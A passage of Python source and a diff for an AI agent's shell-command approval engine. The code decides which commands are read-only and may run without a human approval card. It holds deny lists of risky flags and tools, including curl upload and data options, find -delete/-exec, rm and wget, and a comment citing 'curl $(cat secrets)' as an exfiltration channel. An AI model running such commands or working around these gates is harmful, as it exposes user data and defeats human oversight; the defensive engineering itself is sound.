Single source of truth for shell-command handling in the approval pipeline:
|
||||
splitting compound commands, stripping harmless redirections, analysing
|
||||
command substitution, deriving grant prefixes, and deciding whether a command
|
||||
is read-only-safe (auto-approvable without an approval card).
|
||||
|
||||
Design rules (mirroring the codex / Claude Code permission engines):
|
||||
- Fail closed: anything unparseable, too dynamic, or unknown is NOT safe.
|
||||
- Audited commands are classified by their flags, not just their name —
|
||||
``find .`` is read-only, ``find . -delete`` is not. For audited commands the
|
||||
built-in verdict is final; a bare config prefix cannot rescue a failing
|
||||
audit.
|
||||
- Config prefixes only extend coverage to commands the audit table does not
|
||||
know (user-trusted tools like ``ffmpeg``); network fetchers stay
|
||||
config-gated even though their flags are audited here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import shlex
|
||||
from typing import Iterable, Sequence
|
||||
|
||||
SHELL_CONTROL_TOKENS = {"&&", "||", ";", ";;", "|", "|&", "&"}
|
||||
|
||||
# Redirections that cannot write to a real file: fd duplication (2>&1, >&2)
|
||||
# and discarding output into /dev/null.
|
||||
SAFE_REDIRECTION_RE = re.compile(r"(?:\d?>>?\s*/dev/null\b|\d?>&\d|&>>?\s*/dev/null\b)")
|
||||
|
||||
# Loop/branch headers execute nothing themselves (or only the guarded command,
|
||||
# which survives the strip). ``for``-style headers are dropped whole because
|
||||
# their tokens are data (loop variables / word lists), not commands.
|
||||
_DROP_SEGMENT_KEYWORDS = {"for", "while", "until", "case", "select", "function"}
|
||||
_STRIP_LEADING_KEYWORDS = {"if", "elif", "then", "else", "do", "done", "fi", "esac", "{", "}", "!"}
|
||||
|
||||
# Environment assignments that cannot change what a command does in a way
|
||||
# that matters for safety. PATH / LD_PRELOAD / PYTHONPATH etc. are absent on
|
||||
# purpose: an unlisted assignment makes the segment fail the read-only audit.
|
||||
_SAFE_ENV_VARS = {
|
||||
"LANG", "LANGUAGE", "LC_ALL", "LC_CTYPE", "TZ", "TERM", "COLUMNS", "LINES",
|
||||
"NO_COLOR", "FORCE_COLOR", "CLICOLOR", "PYTHONIOENCODING", "PYTHONUNBUFFERED",
|
||||
"NODE_ENV", "PAGER", "GIT_PAGER",
|
||||
}
|
||||
|
||||
# Substitution results that may safely expand into another command's argument
|
||||
# list. Deliberately excludes anything that can carry file/environment content
|
||||
# (`cat`, `echo`, `ls`, ...): allowing `curl $(cat secrets)` would turn a
|
||||
# read-only helper into an exfil channel.
|
||||
_EXPANSION_SAFE_HEADS = {
|
||||
"pwd", "date", "whoami", "hostname", "uname", "nproc", "basename",
|
||||
"dirname", "realpath", "readlink", "which",
|
||||
"git rev-parse", "git branch --show-current", "git describe",
|
||||
}
|
||||
_EXPANSION_PLACEHOLDER = "__opc_subst__"
|
||||
|
||||
# Commands that are read-only with any arguments, minus per-command banned
|
||||
# flags. They print to stdout and cannot write files or execute other
|
||||
# programs through their own options.
|
||||
_GENERIC_READ_ONLY = {
|
||||
"cat", "head", "tail", "wc", "sort", "uniq", "cut", "tr", "stat", "file",
|
||||
"basename", "dirname", "realpath", "readlink", "du", "df", "tree", "nproc",
|
||||
"whoami", "hostname", "date", "uname", "pwd", "ls", "id", "groups", "echo",
|
||||
"printf", "true", "false", "test", "[", "expr", "seq", "sleep", "diff",
|
||||
"cmp", "comm", "nl", "column", "expand", "unexpand", "paste", "join",
|
||||
"strings", "hexdump", "od", "md5sum", "sha1sum", "sha256sum", "sha512sum",
|
||||
"cksum", "b2sum", "which", "type", "grep", "egrep", "fgrep", "jq", "ps",
|
||||
"free", "uptime", "lscpu", "lsblk", "whereis", "cd", "wait", "pgrep",
|
||||
"getent", "locale", "tty", "arch", "printenv",
|
||||
}
|
||||
|
||||
# Flags that make an otherwise read-only command write somewhere.
|
||||
_BANNED_FLAGS: dict[str, set[str]] = {
|
||||
"sort": {"-o", "--output"},
|
||||
"date": {"-s", "--set"},
|
||||
"tree": {"-o"},
|
||||
"jq": set(), # jq cannot execute or write via flags
|
||||
"grep": set(),
|
||||
"ps": set(),
|
||||
}
|
||||
|
||||
_GIT_READ_ONLY_SUBCOMMANDS = {
|
||||
"status", "diff", "log", "show", "blame", "rev-parse", "ls-files",
|
||||
"ls-tree", "describe", "shortlog", "cat-file", "grep", "reflog",
|
||||
"count-objects", "diff-tree", "rev-list", "merge-base", "name-rev", "var",
|
||||
"check-ignore", "show-ref", "version", "--version", "cherry", "whatchanged",
|
||||
}
|
||||
# Subcommands that only stay read-only in their bare/list form.
|
||||
_GIT_LIST_ONLY_SUBCOMMANDS = {"branch", "tag", "remote", "stash", "worktree", "config"}
|
||||
_GIT_LIST_ONLY_SAFE_FLAGS = {
|
||||
"branch": {"--list", "-l", "-a", "--all", "-r", "--remotes", "-v", "-vv",
|
||||
"--verbose", "--show-current", "--contains", "--merged", "--no-merged"},
|
||||
"tag": {"--list", "-l", "-n", "--contains", "--merged", "--no-merged", "--sort"},
|
||||
"remote": {"-v", "--verbose"},
|
||||
"stash": set(), # only `git stash list`
|
||||
"worktree": set(), # only `git worktree list`
|
||||
"config": {"--get", "--get-all", "--list", "-l", "--get-regexp", "--global", "--local", "--system"},
|
||||
}
|
||||
|
||||
_FIND_BANNED_PREDICATES = {
|
||||
"-delete", "-exec", "-execdir", "-ok", "-okdir",
|
||||
"-fprint", "-fprint0", "-fprintf", "-fls",
|
||||
}
|
||||
|
||||
_RG_BANNED_FLAGS = {"--pre", "--hostname-bin"}
|
||||
|
||||
# curl writes to stdout by default; these flags make it write files, upload
|
||||
# data, or read attacker-controlled config. Single chars cover combined short
|
||||
# flags like ``-sSfLo``.
|
||||
_CURL_BANNED_LONG = {
|
||||
"--output", "--remote-name", "--remote-name-all", "--output-dir",
|
||||
"--upload-file", "--data", "--data-binary", "--data-raw", "--data-ascii",
|
||||
"--data-urlencode", "--form", "--form-string", "--config", "--dump-header",
|
||||
"--cookie-jar", "--trace", "--trace-ascii", "--remote-header-name",
|
||||
}
|
||||
_CURL_BANNED_SHORT_CHARS = set("oOTdFKDcJ")
|
||||
|
||||
# Network fetchers stay config-gated: flag audit alone never auto-allows them,
|
||||
# the command must also appear in the operator's safe-prefix config.
|
||||
_NETWORK_AUDITED = {"curl"}
|
||||
|
||||
_INTERPRETERS = {"python", "python3", "python2", "node", "bun", "deno", "ruby", "perl"}
|
||||
_VERSION_ONLY_FLAGS = {"-v", "-V", "--version"}
|
||||
|
||||
# Heads that must never become broad grant prefixes ("always allow bash"
|
||||
# would be a blank check). Grants for these degrade to the exact command.
|
||||
UNGRANTABLE_PREFIX_HEADS = {
|
||||
"bash", "sh", "zsh", "dash", "ksh", "eval", "source", ".", "sudo", "doas",
|
||||
"env", "xargs", "command", "exec", "nohup", "setsid", "watch", "script",
|
||||
}
|
||||
|
||||
_SAFE_WRAPPER_HEADS = {"time", "nohup"}
|
||||
|
||||
|
||||
def strip_safe_redirections(command: str) -> str:
|
||||
"""Remove fd-duplication / null-sink redirections that cannot write files."""
|
||||
return SAFE_REDIRECTION_RE.sub(" ", str(command or ""))
|
||||
|
||||
|
||||
def sanitize_expansions(command: str) -> tuple[str, bool]:
|
||||
"""Replace expansion-safe ``$(...)`` with a placeholder.
|
||||
|
||||
Returns ``(sanitized_text, all_safe)``. ``all_safe`` is False when the
|
||||
command contains backticks, process substitution, nested substitution, or
|
||||
a ``$(...)`` whose inner command is not in the expansion-safe set.
|
||||
"""
|
||||
text = str(command or "")
|
||||
if "`" in text or "<(" in text or ">(" in text:
|
||||
return text, False
|
||||
out: list[str] = []
|
||||
i = 0
|
||||
all_safe = True
|
||||
while i < len(text):
|
||||
start = text.find("$(", i)
|
||||
if start < 0:
|
||||
out.append(text[i:])
|
||||
break
|
||||
out.append(text[i:start])
|
||||
depth = 1
|
||||
j = start + 2
|
||||
while j < len(text) and depth > 0:
|
||||
if text.startswith("$(", j):
|
||||
# nested substitution: too dynamic to audit
|
||||
return text, False
|
||||
if text[j] == "(":
|
||||
depth += 1
|
||||
elif text[j] == ")":
|
||||
depth -= 1
|
||||
j += 1
|
||||
if depth != 0:
|
||||
return text, False
|
||||
inner = text[start + 2:j - 1].strip()
|
||||
inner_head = " ".join(inner.split())
|
||||
if not any(
|
||||
inner_head == safe or inner_head.startswith(safe + " ")
|
||||
for safe in _EXPANSION_SAFE_HEADS
|
||||
):
|
||||
all_safe = False
|
||||
out.append(_EXPANSION_PLACEHOLDER)
|
||||
i = j
|
||||
return "".join(out), all_safe
|
||||
|
||||
|
||||
def has_blocked_substitution(command: str) -> bool:
|
||||
"""True when the command contains substitution we refuse to auto-allow."""
|
||||
_, all_safe = sanitize_expansions(command)
|
||||
return not all_safe
|
||||
|
||||
|
||||
def split_shell_segments(command: str) -> list[list[str]] | None:
|
||||
"""Split a compound command into per-command token lists.
|
||||
|
||||
Loop/branch headers are dropped or stripped so the returned segments are
|
||||
the commands that actually execute. Returns ``None`` when the input cannot
|
||||
be tokenized (unbalanced quotes etc.) — callers must fail closed.
|
||||
"""
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return []
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
segments: list[list[str]] = []
|
||||
current: list[str] = []
|
||||
for token in tokens:
|
||||
if token in SHELL_CONTROL_TOKENS:
|
||||
if current:
|
||||
segments.append(current)
|
||||
current = []
|
||||
continue
|
||||
current.append(token)
|
||||
if current:
|
||||
segments.append(current)
|
||||
|
||||
cleaned: list[list[str]] = []
|
||||
for segment in segments:
|
||||
if segment[0] in _DROP_SEGMENT_KEYWORDS:
|
||||
continue
|
||||
index = 0
|
||||
while index < len(segment) and segment[index] in _STRIP_LEADING_KEYWORDS:
|
||||
index += 1
|
||||
remainder = segment[index:]
|
||||
if remainder:
|
||||
cleaned.append(remainder)
|
||||
return cleaned
|
||||
|
||||
|
||||
def command_has_redirection(command: str) -> bool:
|
||||
"""Detect real (file-writing or file-reading) redirection tokens."""
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return False
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=True, punctuation_chars=";&|<>")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except ValueError:
|
||||
return any(marker in text for marker in (">", "<"))
|
||||
return any(token in {">", ">>", "<", "<<", "<<<"} for token in tokens)
|
||||
|
||||
|
||||
def _strip_env_assignments(tokens: list[str]) -> tuple[list[str], bool]:
|
||||
"""Consume leading VAR=value assignments; unsafe vars fail the audit."""
|
||||
index = 0
|
||||
safe = True
|
||||
while index < len(tokens):
|
||||
token = tokens[index]
|
||||
eq = token.find("=")
|
||||
if eq <= 0 or not re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", token[:eq]):
|
||||
break
|
||||
if token[:eq] not in _SAFE_ENV_VARS:
|
||||
safe = False
|
||||
index += 1
|
||||
return tokens[index:], safe
|
||||
|
||||
|
||||
def _strip_safe_wrappers(tokens: list[str]) -> list[str]:
|
||||
while tokens:
|
||||
head = tokens[0]
|
||||
if head in _SAFE_WRAPPER_HEADS:
|
||||
tokens = tokens[1:]
|
||||
continue
|
||||
if head == "timeout" and len(tokens) >= 2:
|
||||
rest = tokens[1:]
|
||||
while rest and rest[0].startswith("-"):
|
||||
rest = rest[1:]
|
||||
tokens = rest[1:] if rest else []
|
||||
continue
|
||||
if head == "nice":
|
||||
rest = tokens[1:]
|
||||
if len(rest) >= 2 and rest[0] == "-n":
|
||||
rest = rest[2:]
|
||||
elif rest and rest[0].startswith("-"):
|
||||
rest = rest[1:]
|
||||
tokens = rest
|
||||
continue
|
||||
if head == "stdbuf":
|
||||
rest = tokens[1:]
|
||||
while rest and rest[0].startswith("-"):
|
||||
rest = rest[1:]
|
||||
tokens = rest
|
||||
continue
|
||||
break
|
||||
return tokens
|
||||
|
||||
|
||||
def _flags_in(tokens: Iterable[str]) -> list[str]:
|
||||
return [token for token in tokens if token.startswith("-")]
|
||||
|
||||
|
||||
def _git_segment_read_only(tokens: list[str]) -> bool:
|
||||
rest = tokens[1:]
|
||||
# consume global options that take a value
|
||||
while rest and rest[0].startswith("-"):
|
||||
if rest[0] in {"-C", "-c", "--git-dir", "--work-tree", "--namespace"} and len(rest) >= 2:
|
||||
rest = rest[2:]
|
||||
continue
|
||||
if rest[0] in {"--no-pager", "--paginate", "-P", "-p"}:
|
||||
rest = rest[1:]
|
||||
continue
|
||||
if rest[0] in {"--version", "--help"}:
|
||||
return True
|
||||
return False
|
||||
if not rest:
|
||||
return False
|
||||
sub = rest[0]
|
||||
if sub in _GIT_READ_ONLY_SUBCOMMANDS:
|
||||
return True
|
||||
if sub in _GIT_LIST_ONLY_SUBCOMMANDS:
|
||||
args = rest[1:]
|
||||
if sub == "stash":
|
||||
return args[:1] == ["list"]
|
||||
if sub == "worktree":
|
||||
return args[:1] == ["list"]
|
||||
safe_flags = _GIT_LIST_ONLY_SAFE_FLAGS.get(sub, set())
|
||||
positionals = [a for a in args if not a.startswith("-")]
|
||||
flags_ok = all(a.split("=", 1)[0] in safe_flags for a in args if a.startswith("-"))
|
||||
if sub == "config":
|
||||
# reads need --get/--list; positionals are the key names
|
||||
has_read_flag = any(a.split("=", 1)[0] in {"--get", "--get-all", "--get-regexp", "--list", "-l"} for a in args)
|
||||
return flags_ok and has_read_flag
|
||||
return flags_ok and not positionals
|
||||
return False
|
||||
|
||||
|
||||
def _sed_segment_read_only(tokens: list[str]) -> bool:
|
||||
args = tokens[1:]
|
||||
if not any(a == "-n" or (a.startswith("-") and not a.startswith("--") and "n" in a[1:]) for a in args):
|
||||
return False
|
||||
scripts: list[str] = []
|
||||
index = 0
|
||||
while index < len(args):
|
||||
token = args[index]
|
||||
if token.startswith("-"):
|
||||
if token.split("=", 1)[0] in {"-i", "--in-place", "-f", "--file", "-s"} or token.startswith("-i"):
|
||||
return False
|
||||
if token in {"-e", "--expression"} and index + 1 < len(args):
|
||||
scripts.append(args[index + 1])
|
||||
index += 2
|
||||
continue
|
||||
index += 1
|
||||
continue
|
||||
if not scripts:
|
||||
scripts.append(token)
|
||||
index += 1
|
||||
if not scripts:
|
||||
return False
|
||||
return all(re.fullmatch(r"[0-9,$; ]*p", script.strip()) for script in scripts)
|
||||
|
||||
|
||||
def _awk_segment_read_only(tokens: list[str]) -> bool:
|
||||
args = tokens[1:]
|
||||
program = ""
|
||||
index = 0
|
||||
while index < len(args):
|
||||
token = args[index]
|
||||
if token.startswith("-"):
|
||||
head = token.split("=", 1)[0]
|
||||
if head in {"-f", "--file", "-i", "--include", "-l", "--load"}:
|
||||
return False
|
||||
if head in {"-v", "--assign", "-F", "--field-separator"} and "=" not in token and index + 1 < len(args):
|
||||
index += 2
|
||||
continue
|
||||
if head in {"-e", "--source"} and index + 1 < len(args):
|
||||
program = program or args[index + 1]
|
||||
index += 2
|
||||
continue
|
||||
index += 1
|
||||
continue
|
||||
if not program:
|
||||
program = token
|
||||
index += 1
|
||||
if not program:
|
||||
return False
|
||||
banned = ("system", ">", "|", "getline", "close(", "fflush(", "print >", "printf >")
|
||||
return not any(marker in program for marker in banned)
|
||||
|
||||
|
||||
def _xxd_segment_read_only(tokens: list[str]) -> bool:
|
||||
args = tokens[1:]
|
||||
if any(a == "-r" or a == "-revert" for a in args):
|
||||
return False
|
||||
positionals = [a for a in args if not a.startswith("-")]
|
||||
return len(positionals) <= 1
|
||||
|
||||
|
||||
def _find_segment_read_only(tokens: list[str]) -> bool:
|
||||
return not any(token in _FIND_BANNED_PREDICATES for token in tokens[1:])
|
||||
|
||||
|
||||
def _rg_segment_read_only(tokens: list[str]) -> bool:
|
||||
return not any(token.split("=", 1)[0] in _RG_BANNED_FLAGS for token in tokens[1:])
|
||||
|
||||
|
||||
def _curl_flags_clean(tokens: list[str]) -> bool:
|
||||
args = tokens[1:]
|
||||
index = 0
|
||||
while index < len(args):
|
||||
token = args[index]
|
||||
if token.startswith("--"):
|
||||
if token.split("=", 1)[0] in _CURL_BANNED_LONG:
|
||||
return False
|
||||
if token.split("=", 1)[0] == "--request":
|
||||
value = token.split("=", 1)[1] if "=" in token else (args[index + 1] if index + 1 < len(args) else "")
|
||||
if value.upper() not in {"GET", "HEAD"}:
|
||||
return False
|
||||
elif token.startswith("-") and len(token) > 1:
|
||||
if token == "-X":
|
||||
value = args[index + 1] if index + 1 < len(args) else ""
|
||||
if value.upper() not in {"GET", "HEAD"}:
|
||||
return False
|
||||
index += 2
|
||||
continue
|
||||
if any(ch in _CURL_BANNED_SHORT_CHARS for ch in token[1:]):
|
||||
return False
|
||||
index += 1
|
||||
return True
|
||||
|
||||
|
||||
# Commands the audit table knows. For these the audit verdict is FINAL: a
|
||||
# bare config prefix (e.g. "find" in safe_command_prefixes) cannot rescue a
|
||||
# failing audit, closing the `find -delete` / `curl -o` holes.
|
||||
AUDITED_COMMAND_HEADS = (
|
||||
_GENERIC_READ_ONLY
|
||||
| _NETWORK_AUDITED
|
||||
| _INTERPRETERS
|
||||
| {"git", "find", "sed", "awk", "gawk", "mawk", "nawk", "rg", "xxd", "npm", "pip", "pip3"}
|
||||
)
|
||||
|
||||
|
||||
def _matches_config_prefix(segment_text: str, config_prefixes: Sequence[str]) -> bool:
|
||||
normalized = segment_text.casefold()
|
||||
for raw in config_prefixes:
|
||||
prefix = " ".join(str(raw or "").split()).casefold()
|
||||
if not prefix:
|
||||
continue
|
||||
if normalized == prefix or normalized.startswith(prefix + " "):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _segment_read_only(tokens: list[str], config_prefixes: Sequence[str]) -> bool:
|
||||
tokens, env_safe = _strip_env_assignments(list(tokens))
|
||||
if not env_safe or not tokens:
|
||||
return False
|
||||
tokens = _strip_safe_wrappers(tokens)
|
||||
if not tokens:
|
||||
return False
|
||||
head = tokens[0]
|
||||
if head == "env":
|
||||
rest, env_safe = _strip_env_assignments(tokens[1:])
|
||||
if not env_safe:
|
||||
return False
|
||||
if not rest:
|
||||
return True # bare `env` prints the environment
|
||||
tokens = rest
|
||||
head = tokens[0]
|
||||
if "/" in head:
|
||||
# path-invoked binaries (./find, /tmp/cat) are never classified by name
|
||||
return False
|
||||
|
||||
if head == "git":
|
||||
return _git_segment_read_only(tokens)
|
||||
if head == "find":
|
||||
return _find_segment_read_only(tokens)
|
||||
if head == "sed":
|
||||
return _sed_segment_read_only(tokens)
|
||||
if head in {"awk", "gawk", "mawk", "nawk"}:
|
||||
return _awk_segment_read_only(tokens)
|
||||
if head == "rg":
|
||||
return _rg_segment_read_only(tokens)
|
||||
if head == "xxd":
|
||||
return _xxd_segment_read_only(tokens)
|
||||
if head in _NETWORK_AUDITED:
|
||||
segment_text = " ".join(tokens)
|
||||
if not _matches_config_prefix(head, config_prefixes) and not _matches_config_prefix(segment_text, config_prefixes):
|
||||
return False
|
||||
return _curl_flags_clean(tokens)
|
||||
if head in _INTERPRETERS or head in {"npm", "pip", "pip3"}:
|
||||
return len(tokens) == 2 and tokens[1] in _VERSION_ONLY_FLAGS
|
||||
if head in _GENERIC_READ_ONLY:
|
||||
banned = _BANNED_FLAGS.get(head, set())
|
||||
if banned and any(token.split("=", 1)[0] in banned for token in _flags_in(tokens[1:])):
|
||||
return False
|
||||
return True
|
||||
|
||||
# Unknown command: honor operator-configured safe prefixes.
|
||||
return _matches_config_prefix(" ".join(tokens), config_prefixes)
|
||||
|
||||
|
||||
def is_read_only_shell_command(
|
||||
command: str,
|
||||
config_prefixes: Sequence[str] = (),
|
||||
) -> tuple[bool, str]:
|
||||
"""Classify a (possibly compound) shell command as read-only-safe.
|
||||
|
||||
Returns ``(safe, reason)``. Every segment must independently pass; any
|
||||
substitution we cannot prove harmless, real redirection, or unparseable
|
||||
input fails closed.
|
||||
"""
|
||||
cleaned = " ".join(str(command or "").split()).strip()
|
||||
if not cleaned:
|
||||
return False, "empty command"
|
||||
sanitized, expansions_safe = sanitize_expansions(cleaned)
|
||||
if not expansions_safe:
|
||||
return False, "command substitution cannot be audited"
|
||||
sanitized = strip_safe_redirections(sanitized)
|
||||
if command_has_redirection(sanitized):
|
||||
return False, "command performs file redirection"
|
||||
segments = split_shell_segments(sanitized)
|
||||
if segments is None:
|
||||
return False, "command could not be parsed"
|
||||
if not segments:
|
||||
return False, "no executable segments"
|
||||
for tokens in segments:
|
||||
if not _segment_read_only(tokens, config_prefixes):
|
||||
return False, f"segment `{ ' '.join(tokens[:6]) }` is not proven read-only"
|
||||
return True, "all segments are flag-audited read-only commands"
|
||||
@@ -284,6 +284,7 @@ class NativeAgent:
|
||||
config: OPCConfig | None = None,
|
||||
communication: Any | None = None,
|
||||
approval_callback: Any = None,
|
||||
permission_policy: Any = None,
|
||||
) -> None:
|
||||
self.role = role
|
||||
self.llm = llm
|
||||
@@ -297,6 +298,7 @@ class NativeAgent:
|
||||
self.config = config or OPCConfig()
|
||||
self.communication = communication
|
||||
self.approval_callback = approval_callback
|
||||
self.permission_policy = permission_policy
|
||||
self.prompt_profiles = PromptProfileManager(role, self.config)
|
||||
max_iter = self.config.system.max_agent_iterations
|
||||
comp_threshold = self.config.system.context_compression_threshold
|
||||
@@ -312,6 +314,7 @@ class NativeAgent:
|
||||
config=self.config,
|
||||
child_agent_factory=self._create_child_agent,
|
||||
approval_callback=approval_callback,
|
||||
permission_policy=permission_policy,
|
||||
prefetch_provider=self._build_runtime_prefetch_payload,
|
||||
)
|
||||
|
||||
@@ -741,4 +744,5 @@ class NativeAgent:
|
||||
config=child_config,
|
||||
communication=self.communication,
|
||||
approval_callback=self.approval_callback,
|
||||
permission_policy=self.permission_policy,
|
||||
)
|
||||
|
||||
@@ -1,553 +1,118 @@
|
||||
"""Permission helpers for Native Runtime V2."""
|
||||
"""Runtime-side permission adapter for Native Runtime V2.
|
||||
|
||||
This module intentionally contains NO permission policy. All decisions come
|
||||
from the single ApprovalEngine (``opc/layer2_organization/approval.py``):
|
||||
its synchronous ``predict()`` is the fast path consulted before every tool
|
||||
call, and its async ``authorize_tool_call()`` (reached via the runtime's
|
||||
approval callback) is the escalation path. The adapter only bridges the
|
||||
engine into the executor and maps tool results back into permission events.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shlex
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from opc.core.config import PermissionsV2Config, get_opc_home
|
||||
from loguru import logger
|
||||
|
||||
from opc.core.models import PermissionResolution, PermissionScope, RiskLevel, RuntimePermissionDecision
|
||||
from opc.llm.retry import LLMRetryError, call_llm_json_with_retry
|
||||
from opc.layer2_organization.data_acquisition_policy import (
|
||||
ACQUISITION_SHELL_PREFIXES,
|
||||
is_projection_scoped_acquisition_shell_command,
|
||||
)
|
||||
from opc.layer4_tools.registry import ToolDefinition
|
||||
|
||||
|
||||
_DEFAULT_PATH_KEYS = (
|
||||
_CANDIDATE_KEYS = (
|
||||
"path",
|
||||
"file_path",
|
||||
"directory",
|
||||
"working_directory",
|
||||
"target_output_dir",
|
||||
"workspace_path",
|
||||
"command",
|
||||
"cmd",
|
||||
"url",
|
||||
)
|
||||
_DEFAULT_COMMAND_KEYS = ("command", "cmd")
|
||||
_DEFAULT_URL_KEYS = ("url",)
|
||||
_READ_ONLY_PREFIXES = {
|
||||
"cat",
|
||||
"echo",
|
||||
"find",
|
||||
"git diff",
|
||||
"git log",
|
||||
"git show",
|
||||
"git status",
|
||||
"head",
|
||||
"ls",
|
||||
"node -v",
|
||||
"npm -v",
|
||||
"pwd",
|
||||
"python -V",
|
||||
"python3 -V",
|
||||
"rg",
|
||||
"tail",
|
||||
"wc",
|
||||
}
|
||||
_RISKY_SHELL_KEYWORDS = (
|
||||
"curl ",
|
||||
"wget ",
|
||||
"invoke-webrequest",
|
||||
"invoke-restmethod",
|
||||
"mv ",
|
||||
"cp ",
|
||||
"rm ",
|
||||
"del ",
|
||||
"remove-item",
|
||||
"git commit",
|
||||
"git push",
|
||||
"npm install",
|
||||
"pip install",
|
||||
"pnpm install",
|
||||
"cargo test",
|
||||
"pytest",
|
||||
"tee ",
|
||||
"sed -i",
|
||||
">",
|
||||
">>",
|
||||
)
|
||||
_ACQUISITION_SHELL_PREFIXES = {str(item) for item in ACQUISITION_SHELL_PREFIXES}
|
||||
_ANY_GRANT_VALUE = "*"
|
||||
|
||||
|
||||
class ToolPermissionResolver:
|
||||
"""Runtime permission gate with persisted session/project/global grants."""
|
||||
def _candidate(arguments: dict[str, Any] | None) -> str:
|
||||
for key in _CANDIDATE_KEYS:
|
||||
value = str((arguments or {}).get(key, "") or "").strip()
|
||||
if value:
|
||||
return value
|
||||
return "*"
|
||||
|
||||
def __init__(
|
||||
|
||||
def _risk(value: Any, default: RiskLevel) -> RiskLevel:
|
||||
try:
|
||||
return RiskLevel(str(value or default.value))
|
||||
except Exception:
|
||||
return default
|
||||
|
||||
|
||||
class RuntimePermissionAdapter:
|
||||
"""Thin, policy-free bridge between the tool executor and ApprovalEngine.
|
||||
|
||||
``policy`` is the ApprovalEngine (duck-typed: ``predict`` and
|
||||
``record_denial``). Without a policy (bare runtimes, unit tests) the
|
||||
adapter falls back to a static conservative default: unknown tools and
|
||||
confirmation-required tools ask, everything else runs — matching the
|
||||
pre-unification behavior of a runtime without an approval callback.
|
||||
"""
|
||||
|
||||
def __init__(self, policy: Any = None, *, guardian: Any = None) -> None:
|
||||
self.policy = policy
|
||||
self.guardian = guardian if guardian is not None else getattr(
|
||||
getattr(getattr(policy, "config", None), "permissions_v2", None), "guardian", None
|
||||
)
|
||||
|
||||
def predicted_decision(
|
||||
self,
|
||||
config: PermissionsV2Config | None = None,
|
||||
*,
|
||||
store: Any = None,
|
||||
runtime_session_id: str = "",
|
||||
project_id: str = "default",
|
||||
llm: Any | None = None,
|
||||
) -> None:
|
||||
self.config = config or PermissionsV2Config()
|
||||
self.store = store
|
||||
self.runtime_session_id = runtime_session_id
|
||||
self.project_id = project_id or "default"
|
||||
self.llm = llm
|
||||
self._loaded = False
|
||||
self._session_grants: set[tuple[str, str, str, str, str]] = set()
|
||||
self._project_grants: set[tuple[str, str, str, str, str]] = set()
|
||||
self._global_grants: set[tuple[str, str, str, str, str]] = set()
|
||||
self._denial_counts: dict[str, int] = {}
|
||||
|
||||
async def warmup(self) -> None:
|
||||
if self._loaded or not self.store or not hasattr(self.store, "list_runtime_permission_grants"):
|
||||
self._loaded = True
|
||||
return
|
||||
session_rows = await self.store.list_runtime_permission_grants(
|
||||
runtime_session_id=self.runtime_session_id or None,
|
||||
scopes=["session"],
|
||||
)
|
||||
project_rows = await self.store.list_runtime_permission_grants(
|
||||
project_id=self.project_id,
|
||||
scopes=["project"],
|
||||
)
|
||||
global_rows = await self.store.list_runtime_permission_grants(scopes=["global"])
|
||||
self._session_grants = {self._grant_key_from_row(row) for row in session_rows}
|
||||
self._project_grants = {self._grant_key_from_row(row) for row in project_rows}
|
||||
self._global_grants = {self._grant_key_from_row(row) for row in global_rows}
|
||||
self._loaded = True
|
||||
|
||||
def _candidate_extractors(self) -> tuple[tuple[str, ...], tuple[str, ...], tuple[str, ...]]:
|
||||
keys = [str(item or "").strip() for item in self.config.candidate_extractors if str(item or "").strip()]
|
||||
if not keys:
|
||||
keys = [*_DEFAULT_PATH_KEYS, *_DEFAULT_COMMAND_KEYS, *_DEFAULT_URL_KEYS]
|
||||
path_keys = tuple(item for item in keys if item in _DEFAULT_PATH_KEYS)
|
||||
command_keys = tuple(item for item in keys if item in _DEFAULT_COMMAND_KEYS)
|
||||
url_keys = tuple(item for item in keys if item in _DEFAULT_URL_KEYS)
|
||||
return (
|
||||
path_keys or _DEFAULT_PATH_KEYS,
|
||||
command_keys or _DEFAULT_COMMAND_KEYS,
|
||||
url_keys or _DEFAULT_URL_KEYS,
|
||||
)
|
||||
|
||||
def _grant_key_from_row(self, row: dict[str, Any]) -> tuple[str, str, str, str, str]:
|
||||
tool_name = str(row.get("tool_name", "") or "").strip()
|
||||
candidate = str(row.get("candidate", "") or "").strip()
|
||||
metadata = dict(row.get("metadata", {}) or {})
|
||||
sandbox_mode = str(metadata.get("sandbox_mode", "") or "").strip() or _ANY_GRANT_VALUE
|
||||
allow_network = str(metadata.get("allow_network", "") or "").strip().lower() or _ANY_GRANT_VALUE
|
||||
workspace_class = str(metadata.get("workspace_class", "") or "").strip() or _ANY_GRANT_VALUE
|
||||
return self._grant_key(
|
||||
tool_name,
|
||||
candidate,
|
||||
sandbox_mode=sandbox_mode,
|
||||
allow_network=allow_network,
|
||||
workspace_class=workspace_class,
|
||||
)
|
||||
|
||||
def _grant_key(
|
||||
self,
|
||||
tool_name: str,
|
||||
candidate: str,
|
||||
*,
|
||||
sandbox_mode: str,
|
||||
allow_network: str,
|
||||
workspace_class: str,
|
||||
) -> tuple[str, str, str, str, str]:
|
||||
normalized = candidate.strip() or _ANY_GRANT_VALUE
|
||||
return (
|
||||
tool_name,
|
||||
normalized,
|
||||
sandbox_mode.strip() or _ANY_GRANT_VALUE,
|
||||
allow_network.strip().lower() or _ANY_GRANT_VALUE,
|
||||
workspace_class.strip() or _ANY_GRANT_VALUE,
|
||||
)
|
||||
|
||||
def _candidate(self, arguments: dict[str, Any] | None = None) -> str:
|
||||
if not arguments:
|
||||
return _ANY_GRANT_VALUE
|
||||
path_keys, command_keys, url_keys = self._candidate_extractors()
|
||||
for key in (*path_keys, *command_keys, *url_keys):
|
||||
value = str(arguments.get(key, "") or "").strip()
|
||||
if value:
|
||||
return value
|
||||
return _ANY_GRANT_VALUE
|
